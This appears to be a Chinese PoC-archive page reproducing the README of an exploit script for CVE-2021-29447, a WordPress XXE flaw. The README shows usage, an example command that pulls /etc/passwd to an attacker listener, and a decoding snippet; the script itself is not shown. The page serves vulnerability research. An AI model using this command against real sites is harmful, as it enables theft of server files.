目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2021-29447 PoC — WordPress 代码问题漏洞

来源
关联漏洞
标题: WordPress 代码问题漏洞 (CVE-2021-29447)
Description:WordPress是WordPress(Wordpress)基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress 存在代码问题漏洞,攻击者可利用该漏洞在成功的XXE攻击中可以访问内部文件。
Description
A proof of concept exploit for a wordpress 5.6 media library vulnerability
介绍
[cve-2021-29447]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447

# CVE-2021-29447 Proof-of-Concept

```
╔═╗╦  ╦╔═╗
║  ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023

═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════
```

[CVE-2021-29447]: A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release.

This script is easy to understand & run and it will automate the steps required to exploit the XXE attack
on the wordpress media library.

## Usage

```
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]

options:
  -h, --help            show this help message and exit
  -l LHOST, --lhost LHOST  your server ip address e.g. 10.0.2.15
  -p PORT, --port PORT  your server port e.g. 1337
  -f FILE, --file FILE  system file to read e.g. /etc/passwd
```

Example:

```
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
```

To decode the base64 use/run the following php snippet:

```php
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
```

```shell
$ php decode.php
```

---

- References:
  - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
  - https://tryhackme.com/room/wordpresscve202129447
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →